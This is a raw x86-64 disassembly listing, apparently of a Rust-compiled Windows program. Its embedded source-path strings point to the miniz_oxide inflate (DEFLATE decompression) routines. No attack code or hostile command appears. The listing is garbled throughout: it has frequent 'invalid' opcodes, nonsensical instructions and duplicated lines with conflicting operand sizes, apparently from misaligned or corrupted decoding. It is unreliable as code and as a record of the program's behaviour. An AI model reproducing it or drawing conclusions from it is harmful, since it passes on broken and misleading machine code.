mov eax, ecx
and eax, 0xf
enter 0xffffffffffffe083, 0xf
xor eax, 8
or eax, r8d
or eax, eax
or eax, eax
setne al
shr ecx, 4
jmp 0x148c756a4
and ecx, 0x3f
test bpl, 4
invalid
add al, 0x75
invalid
jmp 0x148c756a4
invalid
add al, 0x75
adc ecx, dword [rax - 0x75]
mov rdx, qword [rsp + 0xf8]
shr rdx, cl
test rdx, rdx
sete dl
or al, dl
invalid
xchg esp, eax
and al, 0xf8
clc
add byte [rax], al
add byte [rax - 0x2d], cl
invalid
rol byte [rax + rax*8 + 0x1db8], 1
add byte [rdx + 3], bh
test al, al
mov eax, 0x1d
mov edx, 3
cmovne edx, eax
cmp ecx, 0x10
cmovae edx, eax
shr r9b, 1
xor ah, bh
invalid
invalid
shr r9b, 1
shr cl, 1
xor ah, bh
invalid
inc dword [rbx + rcx*4 + 0x64]
and al, 0x38
cmp byte [rcx - 0x7d], cl
cld
invalid
jae 0x14005dec4
cmp byte [rcx - 0x7d], cl
cld
invalid
mov rax, qword [rsp + 0x48]
and al, 0x48
mov rdx, qword [rsp + 0x50]
and al, 0x50
mov rcx, rdx
sub rcx, rax
cmp rcx, 1
ja 0x14005dff0
mov r13, qword [rsp + 0x30]
mov r10, qword [rsp + 0xc0]
mov ecx, r13d
and ecx, 0x3ff
movsx ecx, word [r10 + rcx*2]
invalid
or al, 0x4a
mov edi, 0xc9854a0c
or al, 0x4a
test ecx, ecx
js 0x14005d432
cmp cx, 0x200
jb 0x14005d470
jb 0x14005d470
jmp 0x14005e71f
cmp r12d, 0xb
jb 0x14005d470
add byte [rax], al
add byte [rbp - 0x73], al
push rdi
ror dword [rbp + 0xf], 1
movabs dword [0x23ff98100d183cd], eax
invalid
stc
invalid
invalid
lea r9d, [r8 - 1]
not ecx
bt r13, r9
adc ecx, 0
cmp ecx, 0x23f
invalid
add byte [rax], al
ja 0x14005ea26
xchg edi, ecx
adc eax, 0xf410000
mov edi, 0x15a04e8c
invalid
invalid
invalid
add byte [rax], al
movsx ecx, word [r14 + rcx*2 + 0x15a0]
movabs al, byte [0x47890fc985000015]
movabs al, byte [0x47890fc985000015]
test ecx, ecx
jns 0x14005e3af
mov dword [rdi + 0xf], eax
add byte [rax], al
sldt word [rax]
inc r8d
cmp r12d, r8d
jae 0x14005d43e
invalid
invalid
cmp rax, rdx
je 0x14005e866
movzx r8d, byte [rax]
mov dh, 0
add byte [rcx + rcx*4 - 0x1f], al
mov ecx, r12d
loope case.0x14002e84a.412
shl r8, cl
shl eax, cl
inc rax
or r13, r8
or ebp, eax
or ebp, eax
mov qword [rsp + 0x30], r13
lea ecx, [r12 + 8]
invalid
mov dword [rsp + 0x38], ecx
and al, 0x38
and al, 0x38
or byte [rcx + 0x4138244c], cl
cmp esp, 6
invalid
and al, 0x38
cmp r12d, 6
invalid
mov r12d, ecx
jbe 0x14005d40c
jmp 0x14005e722
add byte [rax], al
mov ecx, dword [rsp + 0x38]
and al, 0x38
and al, 0x38
cmp byte [rbx + rcx*4 + 0x44], cl
and al, 0x48
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
mov r9d, ecx
mov ecx, ecx
or r9d, 8
leave
or byte [rbx - 0x7cf0fc07], al
stc
add ecx, dword [rdi]
invalid
mov dword [rcx], ecx
cmp ecx, 3
jae 0x14005de55
add byte [rax], al
stc
add ecx, dword [rdi]
or dword [rcx + 0x49000009], 0x39
add byte [rax], al
cmp r8, rdx
invalid
test byte [rbx + rdx], bh
cmp al, 0x13
add byte [rax], al
cmp r8, rdx
je 0x14005e811
cmp al, 0x13
add byte [rax], al
cmp al, 0x13
add byte [rax], al
movzx r10d, byte [r8]
inc r8
inc eax
inc eax
ror byte [rcx - 0x2d], 0xe2
shl r10, cl
or rax, r10
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
ror byte [rax - 0x77], 1
and al, 0x30
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x38], r9d
and al, 0x38
cmp byte [rcx + rcx*4 - 0x37], al
mov ecx, r9d
jmp 0x14005d4c3
mov rbx, qword [rsp + 0x48]
pop rsp
and al, 0x48
mov rdi, qword [rsp + 0x50]
push rax
mov r13, rdi
sub r13, rbx
sub ebp, ebx
je 0x14005e854
adc eax, dword [rax]
add byte [rbx + rcx*4 + 0x44], cl
mov r8, qword [rsp + 0x78]
and al, 0x78
js 0x14005d559
mov r9, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x80]
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x70
mov qword [rsp + 0x70], r15
mov r15, r9
sub r15, rcx
cmp r15, r13
cmovae r15, r13
std
std
mov ebp, dword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
cmp r15, rbp
cmovae r15, rbp
std
lea r12, [r15 + rcx]
lea esp, [rdi + rcx]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflateoutput_buffer.rs
add eax, 0x1b8e34
mov qword [rsp + 0x20], rax
mov rdx, r12
call fcn.140085969
sbb byte [rdx + rax + 0xd8d4800], al
invalid
mov ds, word [rbx]
invalid
sbb byte [rdx + rax + 0xd8d4800], al
cmp byte [rsi - 0x76b7ffe5], cl
lea ecx, [0x140216390]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and al, 0x20
mov rcx, rax
mov r8, rbx
mov r9, r15
call fcn.1401c59a4
invalid
invalid
invalid
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x88
mov byte [rax], al
add byte [rax], al
lea rax, [r15 - 1]
lea rcx, [rbx + r15]
mov qword [rsp + 0x88], r12
mov dword [rsp + 0x88], esp
mov byte [rax], al
add byte [rax], al
lea rax, [r15 - 1]
lea rcx, [rbx + r15]
dec rcx
dec ecx
inc rcx
cmp r13, rax
cmova rdi, rcx
stc
stc
mov qword [rsp + 0x48], rdi
sub ebp, r15d
mov r15, qword [rsp + 0x70]
and al, 0x70
mov dword [rsp + 0x40], ebp
mov ebp, dword [rsp + 0x188]
mov byte [rcx], al
add byte [rax], al
mov dl, 6
lea rbx, [0x14028bd44]
add cl, ch
pop rax
cli
invalid
invalid
cli
invalid
add byte [rax], al
lea rcx, [rax + 1]
lea ecx, [rax + 1]
mov qword [rsp + 0x48], rcx
and al, 0x48
movzx eax, byte [rax]
mov dword [r14 + 0x28ec], eax
mov dword [rsi + 0x28ec], eax
mov dword [rsi + 0x28ec], eax
xchg ah, ch
sub byte [rax], al
add byte [rdx - 0x5d116fe], dh
invalid
cli
cli
mov dl, 2
jmp case.0x14005de95.3
cli
invalid
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
mov rax, qword [rsp + 0x30]
mov r9d, ecx
or r9d, 8
leave
invalid
cmp ecx, 7
ja 0x14005de9e
cmp rdx, r8
je 0x14005e82a
invalid
adc al, byte [rax]
add byte [rdi + rcx - 0x4a], al
adc cl, byte [rax - 1]
ret 0xd349
invalid
movzx edx, byte [rdx]
inc rdx
shl r10, cl
shl edx, cl
shl edx, cl
or rax, r10
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
mov dword [rsp + 0x38], r9d
mov ecx, r9d
jmp 0x14005d5f2
cmp dword [rsi + 0x28f8], 0
je case.0x14005de95.3
invalid
stc
invalid
invalid
invalid
invalid
dec dword [rax - 0x75]
jl 0x14005d658
invalid
mov rdi, qword [rsp + 0x30]
and al, 0x30
xor byte [rbx - 0x76c7dbbc], cl
rol dword [rax - 0x2cb7f81f], 0xef
loope 0x14005d645
shr rdi, cl
mov eax, dword [rsp + 0x38]
mov ecx, eax
and cl, 7
loope 0x14005d645
loope 0x14005d645
shr rdi, cl
mov ebx, eax
and ebx, 0xfffffff8
clc
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
sub rcx, qword [rsp + 0x50]
push rax
mov r8, qword [rsp + 0x68]
add rcx, r8
invalid
rol ecx, 0xe8
add edi, dword [rcx]
cmp eax, ecx
cmovae eax, ecx
shr eax, 3
cmp eax, ecx
cmovae eax, ecx
lea edx, [rax*8]
sub ebx, edx
mov dword [rsp + 0x38], ebx
and al, 0x38
and al, 0x38
sub rcx, rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea ecx, [0x1402162b8]
lea ecx, [0x1402162b8]
mov word [r11], ds
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x100]
call fcn.14001ca54
invalid
invalid
sar bh, 0xff
invalid
invalid
invalid
mov rdx, qword [rsp + 0x100]
call fcn.14001ca54
mov r8, 0xffffffffffffffff
invalid
invalid
invalid
dec dword [rcx + 0x1d8d48d9]
lea ebx, [0x14028bd44]
lea ebx, [0x14028bd44]
add byte [rcx - 0x2d], cl
loopne 0x14005d6e0
invalid
shl r8, cl
add rdx, rax
add edx, eax
not r8
and r8, rdi
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], rdx
push rsp
and al, 0x50
mov qword [rsp + 0x30], r8
mov dl, 0x18
test bpl, 1
je case.0x14005de95.3
stc
invalid
invalid
stc
invalid
and dword [rsp + 0x40], 0
mov dl, 0x17
jmp case.0x14005de95.3
mov eax, dword [rsp + 0x30]
mov r9, r10
mov ecx, edx
mov ecx, r11d
cmp rax, 4
jae 0x14005e586
clc
add al, 0xf
adc dword [rdi - 0x7afffff2], 0xffffffc9
test ecx, ecx
je 0x14005d727
mov r11d, ecx
or r11d, 8
cmp ecx, 8
jae 0x14005d74b
cmp r9, rdx
cmp ecx, edx
je 0x14005e7b3
add byte [rbp + 0xf], al
mov dh, 0x11
movzx r10d, byte [r9]
inc r9
shl r10, cl
or r8, r10
mov qword [rsp + 0x30], r8
and al, 0x30
and al, 0x30
and al, 0x30
mov dword [rsp + 0x38], r11d
mov dword [rsp + 0x38], ebx
and al, 0x38
mov r10, r9
mov ecx, r11d
jmp 0x14005d6fa
cmp r9, rdx
je 0x14005e7b8
lea r10, [r9 + 1]
mov qword [rsp + 0x48], r10
mov dword [rsp + 0x48], edx
mov cl, byte [r9]
mov byte [r14 + rax + 0x291c], cl
xor ecx, ecx
mov r9, r10
mov ecx, edx
jmp 0x14005d76b
mov qword [rsp + 0x48], r10
mov byte [r14 + rax + 0x291c], r8b
shr r8, 8
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
and al, 0x30
xor byte [rbx + 0x4c89f8c1], al
and al, 0x38
add ecx, 0xfffffff8
mov dword [rsp + 0x38], ecx
cmp byte [rcx - 0x77], al
retf
mov r11d, ecx
inc rax
mov dword [rsp + 0x40], eax
jmp 0x14005d6e5
mov eax, dword [rsp + 0x40]
mov ecx, eax
and ecx, 0x1ff
inc dword [rcx]
add byte [rax], al
inc dword [rcx]
add byte [rax], al
mov dword [rsp + 0x40], ecx
mov dl, 0x14
cmp ecx, 0x100
je case.0x14005de95.3
mov dl, 0x21
cmp ecx, 0x11d
ja case.0x14005de95.3
or al, 8
test ecx, ecx
sete dl
mov dword [rsp + 0x44], ecx
lea rcx, [0x140216188]
movzx eax, word [rcx + rax*2]
mov dword [rsp + 0x40], eax
or dl, 0xe
jmp case.0x14005de95.3
add byte [rax], al
add byte [rdi], cl
invalid
xchg dword [rdx], esp
clc
invalid
ja case.0x14005de95.3
dec dword [rax - 0x75]
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax + 0x3b], cl
mov rcx, qword [rsp + 0x80]
cmp rcx, qword [rsp + 0x88]
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rdi], cl
test byte [rcx], dl
adc al, byte [rax]
invalid
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rdi], cl
test byte [rcx], dl
adc al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x78
invalid
lea rcx, [rsp + 0x78]
js 0x14005d789
mov edx, eax
call fcn.14005eef7
invalid
add byte [rax], al
mov dl, 0xc
or al, 0xe9
stc
idiv edi
invalid
ret 0xf1e8
invalid
add byte [rdi], cl
test ah, ch
idiv edi
dec dword [rax - 0x75]
test byte [rax + rax*4], ah
and al, 0x80
and al, 0x80
add byte [rax], al
add byte [rdx - 0x7bc4b7f9], dh
mov dl, 7
cmp rax, qword [rsp + 0x88]
jne case.0x14005de95.3
invalid
invalid
mov dl, 7
cmp rax, qword [rsp + 0x88]
jne case.0x14005de95.3
invalid
invalid
invalid
invalid
jmp 0x14005ea07
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax + 0x3b], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdi], cl
test byte [rsi - 0x75ffffef], dh
mov dh, 0x11
add byte [rax], al
mov dl, byte [rsp + 0x3c]
lea rcx, [rsp + 0x78]
and al, 0x78
and al, 0x78
call fcn.14005eef7
cmp dword [rsp + 0x38], 0
mov eax, 6
mov edx, 0x11
cmove edx, eax
dec dword [rsp + 0x40]
cmove edx, eax
shr cl, 1
invalid
idiv edi
invalid
shr cl, 1
invalid
idiv edi
dec dword [rbx + rcx*4 - 0x54]
and al, 0xd0
add byte [rax], al
add byte [rbx + rcx*4 + 0x64], al
and al, 0x40
mov r12d, dword [rsp + 0x40]
and al, 0x40
mov edx, dword [r14 + 0x2910]
mov eax, dword [r14 + 0x2914]
add eax, edx
cmp r12d, eax
cmp esp, eax
cmp esp, eax
jae 0x14005d970
mov r13d, dword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
and al, 0x38
cmp r13, 0xf
mov r10, qword [rsp + 0xf0]
jae 0x14005da3d
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdx
sub rcx, rax
cmp rcx, 1
ja 0x14005da44
mov rbp, qword [rsp + 0x30]
mov ecx, ebp
and ecx, 0x3ff
movsx ecx, word [r10 + rcx*2]
test ecx, ecx
js 0x14005d8fa
cmp cx, 0x200
jb 0x14005d938
shr ecx, 9
cmp r13d, ecx
jb 0x14005d938
invalid
jmp 0x14005da7b
cmp r13d, 0xb
jb 0x14005d938
mov r8d, 0xb
lea r9d, [r8 - 1]
lea ecx, [rax - 1]
not ecx
ror dword [rdi + rcx - 0x5d], 1
int 0x83
rol dword [rax], 1
invalid
bt rbp, r9
adc ecx, 0
invalid
add byte [rcx + 0x23ff9], al
add byte [rdi], cl
xchg dword [rdi], eax
adc dword [rax], eax
add byte [rcx + 0xf], al
mov edi, 0x23404e8c
add byte [rax], al
invalid
cmp ecx, 0x23f
add byte [rax], al
ja 0x14005ea26
movsx ecx, word [r14 + rcx*2 + 0x2340]
add byte [rbp + 0x44890fc9], al
add dword [rax], eax
add byte [rcx - 1], al
rol byte [rbp + 0x39], 0xc5
test ecx, ecx
jns 0x14005da74
inc r8d
cmp r13d, r8d
jae 0x14005d906
invalid
cmp rax, rdx
je 0x14005e837
jmp 0x188e6ac95
shl r8, cl
inc rax
or rbp, r8
mov qword [rsp + 0x30], rbp
lea ecx, [r13 + 8]
mov dword [rsp + 0x38], ecx
and al, 0x38
and al, 0x38
cmp r13d, 6
cmp ebp, 6
mov r13d, ecx
jbe 0x14005d8d5
jmp 0x14005da7e
jne 0x14005e51e
or eax, dword [rax]
add byte [rcx + rcx*4 - 1], cl
add byte [rax], al
mov rdi, r15
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
add eax, 0x1b88a8
mov rcx, qword [rsp + 0xa8]
call fcn.14005ce2c
invalid
inc dword [rbp - 0x75]
mov ss, word [rax]
sub dword [rax], eax
add byte [rcx - 0x7f], cl
stc
retf 1
invalid
invalid
jae 0x14005eabc
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov qword [rsp + 0x20], rcx
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov rcx, rax
ror dword [rbp - 0x77], 0xe8
mov r8, r13
call fcn.1401c59a4
mov r15d, dword [r14 + 0x2910]
sub dword [rax], eax
add byte [rcx - 0x75], al
sahf
adc al, 0x29
add byte [rax], al
add byte [rcx - 0x75], al
sahf
adc al, 0x29
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov rcx, qword [rsp + 0xe8]
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov edx, ebx
call fcn.14005ce2c
add ebx, r15d
jb 0x14005eab0
add byte [rax], al
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov edx, ebx
invalid
add byte [rax], al
cmp ebx, 0x1c9
ja 0x14005eaa2
sti
leave
add dword [rax], eax
add byte [rdi], cl
xchg dword [rax + 0x4c000010], esi
sub ebx, edi
sub rbx, r15
add r15, r13
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, rax
mov r8, r15
mov r9, rbx
call fcn.1401c59a4
dec dword [r14 + 0x28fc]
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.14005eb03
adc byte [rax], al
add byte [rbx + rax], bh
adc byte [rax], al
add byte [rbx + rax], bh
je 0x14005e847
mov r15, rdi
lea rbx, [0x14028bd44]
jmp 0x14005db01
mov rbp, qword [rsp + 0x30]
jmp 0x14005da86
lea rcx, [rsp + 0x48]
call fcn.14005ee4d
adc eax, dword [rax]
add byte [rbx + rcx*4 - 0x6c], cl
xchg esp, eax
and al, 0xf0
add byte [rax], al
invalid
adc eax, dword [rax]
add byte [rbx + rcx*4 - 0x6c], cl
xchg esp, eax
mov edx, dword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
mov bh, 0xe8
movzx ebp, ax
mov ecx, r13d
shl rbp, cl
or rbp, qword [rsp + 0x30]
mov qword [rsp + 0x30], rbp
or r13d, 0x10
mov dword [rsp + 0x38], r13d
and al, 0x38
jmp 0x14005da86
mov qword [rsp + 0x48], rax
and al, 0x48
jmp 0x14005da86
mov ecx, r13d
mov qword [rsp + 0x48], rax
mov r13d, ecx
mov eax, ebp
and eax, 0x3ff
movsx eax, word [r10 + rax*2]
add al, 0x42
add al, 0x42
test eax, eax
js 0x14005daa2
mov ecx, eax
shr ecx, 9
and eax, 0x1ff
jmp 0x14005dab1
mov rcx, r10
mov edx, eax
mov r8, rbp
mov eax, ebp
call fcn.14005ee83
mov ecx, edx
test ecx, ecx
je 0x14005e525
shr rbp, cl
mov qword [rsp + 0x30], rbp
insb byte [rdi], dx
and al, 0x30
insb byte [rdi], dx
and al, 0x30
sub r13d, ecx
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x3c], eax
cmp eax, 0x10
jae 0x14005e533
cmp r12d, 0x1c9
mov ebp, dword [rsp + 0x188]
jae 0x14005ea4d
sldt word [rax]
sldt word [rax]
mov r13, qword [rsp + 0xd0]
mov byte [r13 + r12], al
inc r12d
mov dword [rsp + 0x40], r12d
xor eax, eax
test al, al
je 0x14005d881
invalid
invalid
invalid
movzx eax, al
cmp eax, 1
je case.0x14005de95.3
jmp 0x14005e833
or eax, 0x8b440000
and al, 0x40
mov ecx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov r9, qword [rsp + 0x50]
mov r10, qword [rsp + 0x30]
cmp r8, 3
jae 0x14005e66f
xor dword [rbx], 0xb
add byte [rax], al
invalid
xor dword [rbx], 0xb
add byte [rax], al
invalid
add byte [rax - 0x48], cl
add eax, 0x5000000
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add bh, al
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + rax], al
movabs rax, 0x500000005
mov qword [rsp + 0x90], rax
add byte [rax], al
add bh, al
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
mov eax, dword [rsp + r8*4 + 0x90]
mov rdi, qword [rsp + 0x68]
mov r12, qword [rsp + 0x180]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x77], al
retf
mov r11d, ecx
sub r11d, eax
jae 0x14005db9a
cmp rdx, r9
je 0x14005e78c
and al, 0x30
add ecx, 8
mov dword [rsp + 0x38], ecx
xor byte [rbx + 0x4c8908c1], al
and al, 0x38
jmp 0x14005db6e
mov rdi, r10
xlatb
mov ecx, eax
shr rdi, cl
mov rbx, 0xffffffffffffffff
shl rbx, cl
jrcxz 0x14005dbf5
mov dword [rsp + 0x30], edi
jrcxz 0x14005dbf5
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x38], r11d
not ebx
and r10d, ebx
lea rbx, [0x14028bd44]
lea rax, [0x140216490]
movzx eax, word [rax + r8*2]
add eax, r10d
mov dword [r14 + r8*4 + 0x2910], eax
inc r8
mov dword [rsp + 0x40], r8d
mov r10, rdi
mov ecx, r11d
jmp 0x14005db32
cmp al, 0x4c
mov eax, dword [rsp + 0x88]
add byte [rax], al
mov byte [rax], al
add byte [rax], al
test bpl, 4
je 0x14005dc0a
add al, 0x74
or esi, dword [rdx - 0x37c6b2e2]
mov dl, 0x1e
cmp r8, r9
jb case.0x14005de95.3
mov rdx, qword [rsp + 0x80]
mov eax, dword [rsp + 0x40]
lea rdi, [r8 + rax]
cmp rdi, rdx
ja 0x14005dc3f
and edx, esi
sub r10, r8
jb 0x14005e500
cmp r10, rax
jae 0x14005e500
test eax, eax
mov eax, 0xc
mov edx, 0x13
sar byte [rax + 0xc], 0xba
adc eax, dword [rax]
add byte [rax], al
cmove edx, eax
jmp case.0x14005de95.3
shr cl, 1
mov bl, 0xf3
invalid
add byte [rax], al
mov edi, dword [rsp + 0x3c]
mov ebp, dword [rsp + 0x40]
mov rax, rbx
sub rax, r12
je 0x14005e7cb
mov r8, r12
sub r8, rdi
and r8, rsi
mov r13d, ebp
cmp rax, r13
cmovb r13, rax
mov qword [rsp + 0x28], rsi
and al, 0x28
mov qword [rsp + 0x20], r13
mov rcx, r15
mov rdx, rbx
mov r9, r12
call 0x14005f117
add r12, r13
sub ebp, r13d
mov dword [rsp + 0x40], ebp
jne 0x14005dc75
invalid
mov qword [rsp + 0x88], r12
mov dl, 0xc
jmp 0x14005e3cc
and al, 0x50
mov r10, qword [rsp + 0x30]
mov r9d, dword [r14 + 0x28f4]
cmp eax, 4
jae 0x14005e5c9
test ecx, ecx
je 0x14005dd22
mov r11d, ecx
or r11d, 8
cmp ecx, 8
jae case.0x14002e84a.430
cmp rdx, r8
je 0x14005e7a7
ret 0x840f
ret 0xd348
or r10, rdi
mov qword [rsp + 0x30], r10
xor byte [rcx + rcx*4 + 0x5c], al
and al, 0x38
invalid
xor byte [rcx + rcx*4 + 0x5c], al
and al, 0x38
invalid
cmp byte [rcx + rcx*4 - 0x27], al
mov ecx, r11d
jmp 0x14005dcf9
cmp rdx, r8
je 0x14005e7a7
movzx ecx, byte [rdx]
inc rdx
shl r9d, 8
or r9d, ecx
xor ecx, ecx
jmp 0x14005dd57
ret 0xc141
movzx r11d, r10b
shr r10, 8
mov qword [rsp + 0x30], r10
add ecx, 0xfffffff8
mov dword [rsp + 0x38], ecx
shl r9d, 8
or r9d, r11d
mov dword [r14 + 0x28f4], r9d
add byte [rax], al
inc eax
mov dword [rsp + 0x40], eax
jmp 0x14005dce5
mov r9, 0xffffffffffffffff
mov ecx, eax
shl r9, cl
not r9d
and r9d, r8d
shr r8, cl
shr eax, cl
shr eax, cl
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x38], r10d
add dword [rsp + 0x3c], r9d
mov dl, 0x16
jmp case.0x14005de95.3
mov r9, 0xffffffffffffffff
mov ecx, eax
shl r9, cl
not r9d
and r9d, r8d
shr r8, cl
shr eax, cl
shr eax, cl
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x38], r10d
add dword [rsp + 0x40], r9d
and al, 0x40
and al, 0x40
mov dl, 0xf
jmp case.0x14005de95.3
mov r12, 0xffffffffffffffff
mov ecx, eax
shl r12, cl
mov r11, rdx
ror dword [rcx - 0x2d], cl
jmp 0x14005de28
mov dword [rsp + 0x48], ecx
ror dword [rcx - 0x2d], cl
jmp 0x14005de28
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x38], r10d
mov r9d, 3
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x98], r9
mov qword [rsp + 0xa0], 0xb
and al, 0xa0
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add byte [rbx + 0x483c2444], cl
mov ecx, eax
and rcx, r9
cmp rcx, r9
mov r8, qword [rsp + 0xd0]
je 0x14005ea6f
mov rdi, qword [rsp + rcx*8 + 0x90]
mov edi, dword [rsp + rcx*8 + 0x90]
mov ecx, dword [rsp + 0x40]
cmp eax, 0x10
jne 0x14005dfa9
lea rax, [rcx - 1]
cmp rax, 0x1c8
ja 0x14005ea85
mov bl, byte [r8 + rax]
jmp 0x14005dfab
mov qword [rsp + 0x48], r8
mov rdx, rax
shr rdx, 3
mov qword [rsp + 0x30], rdx
add ecx, 0xfffffffd
mov dword [rsp + 0x38], ecx
mov ecx, eax
and ecx, 1
mov dword [r14 + 0x28f8], ecx
shr eax, 1
and eax, 3
mov dword [r14 + 0x28fc], eax
mov dl, 0x19
lea rcx, [0x14028bda8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffffb2
add al, 0xe9
push 0x48fffff1
mov dword [rsp + 0x48], edx
mov qword [rsp + 0x48], rdx
push rsp
and al, 0x48
mov rdx, rax
shr rdx, 8
mov qword [rsp + 0x30], rdx
push rsp
and al, 0x30
push rsp
and al, 0x30
add ecx, 0xfffffff8
mov dword [rsp + 0x38], ecx
movzx eax, al
ror byte [rcx - 0x4dc3dbbc], 0x12
ror byte [rcx - 0x4dc3dbbc], 0x12
jmp case.0x14005de95.3
mov r13, qword [rsp + 0x30]
jmp 0x14005e017
mov qword [rsp + 0x48], rdi
mov r12d, dword [rsp + 0x38]
cmp r12, 0xf
mov r9d, dword [rsp + 0x5c]
jae 0x14005e0a5
cmp rax, 1
ja 0x14005e5eb
mov r13, qword [rsp + 0x30]
mov r15, qword [rsp + 0x70]
lea rbx, [0x14028bd44]
sbb eax, 0x22de3f
sbb eax, 0x22de3f
mov eax, r13d
and eax, 0x3ff
movsx ecx, word [r14 + rax*2]
test ecx, ecx
js 0x14005df2a
cmp cx, 0x200
jb 0x14005df65
shr ecx, 9
cmp r12d, ecx
jb 0x14005df65
jmp 0x14005e72f
cmp r12d, 0xb
jb 0x14005df65
mov eax, 0xb
lea edx, [rax - 1]
not ecx
bt r13, rdx
adc ecx, 0
cmp ecx, 0x23f
ja 0x14005ea26
movsx ecx, word [r14 + rcx*2 + 0x800]
test ecx, ecx
jns 0x14005e715
inc eax
cmp r12d, eax
jae 0x14005df35
cmp rdi, r8
je 0x14005ea1a
movzx eax, byte [rdi]
mov ecx, r12d
shl rax, cl
inc rdi
or r13, rax
mov qword [rsp + 0x30], r13
lea eax, [r12 + 8]
mov dword [rsp + 0x38], eax
cmp r12d, 6
mov r12d, eax
jbe 0x14005df05
jmp 0x14005e732
mov qword [rsp + 0x48], rdi
mov dl, 0x23
jmp 0x14005e3cc
xor ebx, ebx
not r12
and rdx, r12
add rdi, rdx
lea rdx, [rdi + rcx]
lea rax, str.8M__
mov qword [rsp + 0x20], rax
mov r9d, 0x1c9
call fcn.140085969
xor ecx, ecx
leave
leave
cmp rdx, rcx
je 0x14005dfde
mov byte [rax + rcx], bl
inc rcx
jmp 0x14005dfd1
add dword [rsp + 0x40], edi
mov dl, 0xa
lea rbx, [0x14028bd44]
jmp case.0x14005de95.3
lea rcx, [rsp + 0x48]
call fcn.14005ee4d
movzx r13d, ax
mov ecx, r12d
shl r13, cl
or r13, qword [rsp + 0x30]
mov qword [rsp + 0x30], r13
or r12d, 0x10
mov dword [rsp + 0x38], r12d
mov r10, qword [rsp + 0xc0]
mov eax, r13d
and eax, 0x3ff
movsx eax, word [r10 + rax*2]
test eax, eax
js 0x14005e03c
or dword [0x14005e239], esp
jmp 0x14005e04b
ret 0x894d
call fcn.14005ee83
mov ecx, edx
mov dl, 0x23
test ecx, ecx
je case.0x14005de95.3
invalid
mov cl, 0xef
invalid
invalid
test byte [rcx + 0x49ffffef], dh
shr ebp, cl
dec dword [rcx - 0x2d]
in eax, dx
shr r13, cl
mov qword [rsp + 0x30], r13
sub r12d, ecx
mov dword [rsp + 0x38], r12d
mov dl, 0x22
cmp eax, 0x1d
cmp byte [rdx + 0x1df88322], dh
jg case.0x14005de95.3
and eax, 0x1f
lea rcx, [0x1402161c8]
movzx ecx, byte [rax + rcx]
test ecx, ecx
mov dword [rsp + 0x44], ecx
lea rcx, [0x1402161e8]
sbb dword [rbx], 0x4b70f00
mov dword [r12 + 0x3c], eax
sbb dword [rbx], 0x4b70f00
mov dword [r12 + 0x3c], eax
mov eax, 0x16
mov edx, 0x10
cmove edx, eax
invalid
jmp case.0x14005de95.3
mov r13, qword [rsp + 0x30]
jmp 0x14005e612
add eax, 0x89480000
